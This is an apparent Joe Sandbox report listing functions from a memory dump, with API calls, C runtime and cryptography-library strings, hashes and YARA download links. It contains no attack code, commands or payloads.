Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: type_info::operator!=
String ID: ModPrime1PrivateExponent$ModPrime2PrivateExponent$MultiplicativeInverseOfPrime2ModPrime1$Prime1$Prime2$PrivateExponent
API String ID: 2241493438-339133643
Opcode ID: 224f336401bf658f7edaf70b95455e3d54b311d11ea11bbaabf92337d31bfe8a
Instruction ID: 1d90c90164a002997d6b971eed9da1c58f2310ddc555fa6ce33feea10b33c540
Opcode Fuzzy Hash: 224f336401bf658f7edaf70b95455e3d54b311d11ea11bbaabf92337d31bfe8a
Instruction Fuzzy Hash: BD318C75A543409ECB049F7C894655EFBF1AFD5208F884A2EF445AB320EB71D848CB83

Function 68960457 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 689623B3
SafeArrayDestroy.OLEAUT32(?), ref: 689623C3
SafeArrayDestroy.OLEAUT32(?), ref: 689623D6
SafeArrayDestroy.OLEAUT32(?), ref: 689623E9
SafeArrayDestroy.OLEAUT32(?), ref: 689623FC
SafeArrayDestroy.OLEAUT32(?), ref: 6896240F

Strings

RS%e, xrefs: 68960494

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroySafe
String ID: RS%e
API String ID: 4225690600-1409579784
Opcode ID: 24fa3b20458098fefddfc8a381fd6d7ac058deda890bc09ef89e8ff2ddfde635
Instruction ID: f97e9eb938304d53b8cb9c4afa3d1305eb2dbbbf14f8d488daefe10b5d731003
Opcode Fuzzy Hash: 24fa3b20458098fefddfc8a381fd6d7ac058deda890bc09ef89e8ff2ddfde635
Instruction Fuzzy Hash: 42315AB0A006189FDB10CBA8CC80FADB7BEAF89714FA0859AE518E7241C771D980CF50

Function 6895AA00 Relevance: 12.3, APIs: 8, Instructions: 309COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6895AA54
VariantInit.OLEAUT32(?), ref: 6895AA5B
VariantInit.OLEAUT32(?), ref: 6895AA62
VariantInit.OLEAUT32(?), ref: 6895AA69
VariantClear.OLEAUT32(?), ref: 6895ACF2
VariantClear.OLEAUT32(?), ref: 6895ACF9
VariantClear.OLEAUT32(?), ref: 6895AD00
VariantClear.OLEAUT32(?), ref: 6895AD07

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$ClearInit
String ID:
API String ID: 2610073882-0
Opcode ID: 81f3686d97abbdf40db2a5d59f0d7abf25eeb27dfd16f6e39df89528660ec084
Instruction ID: dfb351c75f8eeddefb760e37bf893363eeee7098d7f3611cc9daa736d2d64ed0
Opcode Fuzzy Hash: 81f3686d97abbdf40db2a5d59f0d7abf25eeb27dfd16f6e39df89528660ec084
Instruction Fuzzy Hash: 04C148756087019FC301DF58C88095BBBEAFFD9304F648A4DF5A89B265D731E845CBA2

Function 68959D00 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 68959DEB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68959DFB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68959E29
SafeArrayDestroy.OLEAUT32(?), ref: 68959F25
VariantClear.OLEAUT32(?), ref: 68959FE5

Strings

@, xrefs: 68959DD7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: 4e8b6384d4d75b8a011576076da687910b1a56ca822dedaa295356784ca4e56e
Instruction ID: 6e1c78809dc510fea1881405a41eefc70cbce7fd1c46129a70bf5d97e2f9df93
Opcode Fuzzy Hash: 4e8b6384d4d75b8a011576076da687910b1a56ca822dedaa295356784ca4e56e
Instruction Fuzzy Hash: 3FD15BB1E00249CFDB00DFA8C884AADBBB9FF49308FA48159E515AB354D731AE55CF91

Function 6895B300 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6895B3EB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6895B3FB
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6895B429
SafeArrayDestroy.OLEAUT32(?), ref: 6895B525
VariantClear.OLEAUT32(?), ref: 6895B5E5

Strings

@, xrefs: 6895B3D7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Bound$ClearDestroyElementVariant
String ID: @
API String ID: 3214203402-2766056989
Opcode ID: 89ebee2b0a5f53b6d6da1bca9cdf927446d2dc54bc202d1fcff96b8e61b2a5d5
Instruction ID: 86b14393075fdbfa4ac6daa4c2b423469818aa7ec8ac96ae8a4aeb1b2b835eda
Opcode Fuzzy Hash: 89ebee2b0a5f53b6d6da1bca9cdf927446d2dc54bc202d1fcff96b8e61b2a5d5
Instruction Fuzzy Hash: 3CD15B71E00249CFDB04DFA8C884AADBBB9FF48318FA48159E515AB354D731EA46CF91

Function 68981580 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 277COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 689816B2

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

__CxxThrowException@8.LIBCMT ref: 6898180A

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

Strings

: this key is too short to encrypt any messages, xrefs: 6898162A
exceeds the maximum of , xrefs: 6898173F
for this public key, xrefs: 68981771
: message length of , xrefs: 6898170D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaiseXinvalid_argumentstd::_
String ID: exceeds the maximum of $ for this public key$: message length of $: this key is too short to encrypt any messages
API String ID: 3807434085-412673420
Opcode ID: 61bf84b50bc224d0a0722c51f9d5b173fc22229ac5bbd8f9d2681b099a34a424
Instruction ID: 14f38034a51b7a8f585cad5b0d7aefda956896c06985825281f90a489dbe0914
Opcode Fuzzy Hash: 61bf84b50bc224d0a0722c51f9d5b173fc22229ac5bbd8f9d2681b099a34a424
Instruction Fuzzy Hash: F2B14C756083809FD320DB69C890FABB7E9AFDA304F44891DE59D83251DB71E905CBA3

Function 68963C10 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 186COMMON

Download Yara Rule

APIs

SafeArrayGetElement.OLEAUT32(?,?,Aj?Q), ref: 68963C49
VariantInit.OLEAUT32(?), ref: 68963C81
VariantClear.OLEAUT32(?), ref: 68963D26
VariantClear.OLEAUT32(?), ref: 68963D30
VariantClear.OLEAUT32(?), ref: 68963D89

Strings

Aj?Q, xrefs: 68963C38, 68963DDF, 68963C5E, 68963C8B, 68963DA4, 68963C3B, 68963C61, 68963CA3, 68963DB0, 68963DEB

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArrayElementInitSafe
String ID: Aj?Q
API String ID: 4110538090-52356588
Opcode ID: a16fe5e76e99a0ed0eaf2bbeb6ee05f727a609b87be1593e94c6b5b8e5e41898
Instruction ID: 88625647f3599ae340567c534b090bf8acfd66ed5edb2721daf07c9021f9cf9f
Opcode Fuzzy Hash: a16fe5e76e99a0ed0eaf2bbeb6ee05f727a609b87be1593e94c6b5b8e5e41898
Instruction Fuzzy Hash: C161AC76A00209DFDB00DFA8C8849AEBBB9FF49324F648599E515AB350C731ED45DBA0

Function 68976B00 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 161COMMON

Download Yara Rule

APIs

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 6894402A

__CxxThrowException@8.LIBCMT ref: 68976BA6

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Part of subcall function 68944010: std::_Xinvalid_argument.LIBCPMT ref: 68944067
Part of subcall function 68944010: _memmove.LIBCMT ref: 689440C8

__CxxThrowException@8.LIBCMT ref: 68976C56

Strings

\Aj?Q, xrefs: 68976B95, 68976C45, 68976B99, 68976C49
NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes, xrefs: 68976B33
Aj?Q, xrefs: 68976B51, 68976C01
RandomNumberGenerator: IncorporateEntropy not implemented, xrefs: 68976BE3

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_$ExceptionRaise_memmove
String ID: Aj?Q$NullRNG: NullRNG should only be passed to functions that don't need to generate random bytes$RandomNumberGenerator: IncorporateEntropy not implemented$\Aj?Q
API String ID: 1902190269-59407295
Opcode ID: ad9f131795180a8880418529f6ff137c377cb3beb09e42ba322fdad7e71818dd
Instruction ID: d45dd8905fc7fc9aa9860461c1f3e300367dab9c4ae74d1244a0c8845c0c4e35
Opcode Fuzzy Hash: ad9f131795180a8880418529f6ff137c377cb3beb09e42ba322fdad7e71818dd
Instruction Fuzzy Hash: 15514675208380AFC310CF29C880A5BFBF8BF9A754F804A2EF5A593290D775D908CB52

Function 689A1250 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 689A126E

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 689A12E0
_memmove.LIBCMT ref: 689A1305
_memmove.LIBCMT ref: 689A1342
_memmove.LIBCMT ref: 689A135F

Strings

deque<T> too long, xrefs: 689A1269

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 4034224661-309773918
Opcode ID: 678a71cff7f7c2829ecbb8672fe55d51e5ed4cc0431993fd99d1b4009e51b884
Instruction ID: ac7a88e0947789e42543dd0cef25a83d61be238cdac726a319538df9ad31a907
Opcode Fuzzy Hash: 678a71cff7f7c2829ecbb8672fe55d51e5ed4cc0431993fd99d1b4009e51b884
Instruction Fuzzy Hash: 30410376A042018BD704CE28CC81A7BB7EAEFD4214F49862DE81AD7344FA34ED05C7A2

Function 689A13A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 689A13BE

Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A90ED
Part of subcall function 689A90D8: __CxxThrowException@8.LIBCMT ref: 689A9102
Part of subcall function 689A90D8: std::exception::exception.LIBCMT ref: 689A9113

_memmove.LIBCMT ref: 689A1431
_memmove.LIBCMT ref: 689A1456
_memmove.LIBCMT ref: 689A1493
_memmove.LIBCMT ref: 689A14B0

Strings

deque<T> too long, xrefs: 689A13B9

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove$std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: deque<T> too long
API String ID: 4034224661-309773918
Opcode ID: a4d87485b081fb0f7bf5c9ff25f7aba565676a24675885c96bd5cf14250a3a3a
Instruction ID: 61884db27245c773cd5b3be3b4ac3898ca55cdc87e28462069acf5348972dcdd
Opcode Fuzzy Hash: a4d87485b081fb0f7bf5c9ff25f7aba565676a24675885c96bd5cf14250a3a3a
Instruction Fuzzy Hash: 14411476A042048BC704CE28DC81A6BB7EAEFD4614F49862CE81AD7344FA34ED05C7A2

Function 68944D90 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 68944DA9

Part of subcall function 689A9125: std::exception::exception.LIBCMT ref: 689A913A
Part of subcall function 689A9125: __CxxThrowException@8.LIBCMT ref: 689A914F
Part of subcall function 689A9125: std::exception::exception.LIBCMT ref: 689A9160

std::_Xinvalid_argument.LIBCPMT ref: 68944DCA
std::_Xinvalid_argument.LIBCPMT ref: 68944DE5
_memmove.LIBCMT ref: 68944E4D

Strings

invalid string position, xrefs: 68944DA4
string too long, xrefs: 68944DC5, 68944DE0

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 443534600-4289949731
Opcode ID: ef2cfbbedda5afcd4cfb5f27b42d1e22a9268fb4c923356307c861ed6ee4469c
Instruction ID: 3e4d1dd017e5a1e7dc178b1fa3999ab364e69b547c0b7fcba93c529325e53f76
Opcode Fuzzy Hash: ef2cfbbedda5afcd4cfb5f27b42d1e22a9268fb4c923356307c861ed6ee4469c
Instruction Fuzzy Hash: F331C8327052118FD7348E5CE890A7BF3E9EB90768B90062EE562CB641D772D8828B91

Function 689B44E9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 689B4532
DName::operator+.LIBCMT ref: 689B4539
DName::DName.LIBCMT ref: 689B455B
DName::operator+.LIBCMT ref: 689B4562
DName::operator+.LIBCMT ref: 689B4569

Strings

throw(, xrefs: 689B452A, 689B4553

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID: throw(
API String ID: 168861036-3159766648
Opcode ID: 2c0beca88381d7384a2e894190ef229086b804c561efcbbb92fac966bdcf82b1
Instruction ID: aa6c4d89dd0bb318fbed8520b30edb23b13b276e687379f4ccf578be50817357
Opcode Fuzzy Hash: 2c0beca88381d7384a2e894190ef229086b804c561efcbbb92fac966bdcf82b1
Instruction Fuzzy Hash: 3A014074600109AFCF14DFA4C855DFF7BB9AB94708F804165E5069B294DBB0D9469B90

Function 689ACCF3 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 689ACCFA

Part of subcall function 689AEA6D: GetLastError.KERNEL32(?,?,689AD7DD,689A9DEF,00000000,?,689A9BD4,68941290,513F6A41), ref: 689AEA71
Part of subcall function 689AEA6D: ___set_flsgetvalue.LIBCMT ref: 689AEA7F
Part of subcall function 689AEA6D: __calloc_crt.LIBCMT ref: 689AEA93
Part of subcall function 689AEA6D: DecodePointer.KERNEL32(00000000,?,?,689AD7DD,689A9DEF,00000000,?,689A9BD4,68941290,513F6A41), ref: 689AEAAD
Part of subcall function 689AEA6D: GetCurrentThreadId.KERNEL32 ref: 689AEAC3
Part of subcall function 689AEA6D: SetLastError.KERNEL32(00000000,?,?,689AD7DD,689A9DEF,00000000,?,689A9BD4,68941290,513F6A41), ref: 689AEADB

__calloc_crt.LIBCMT ref: 689ACD1C
__get_sys_err_msg.LIBCMT ref: 689ACD3A
_strcpy_s.LIBCMT ref: 689ACD42
__invoke_watson.LIBCMT ref: 689ACD57

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 689ACD07, 689ACD2A

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

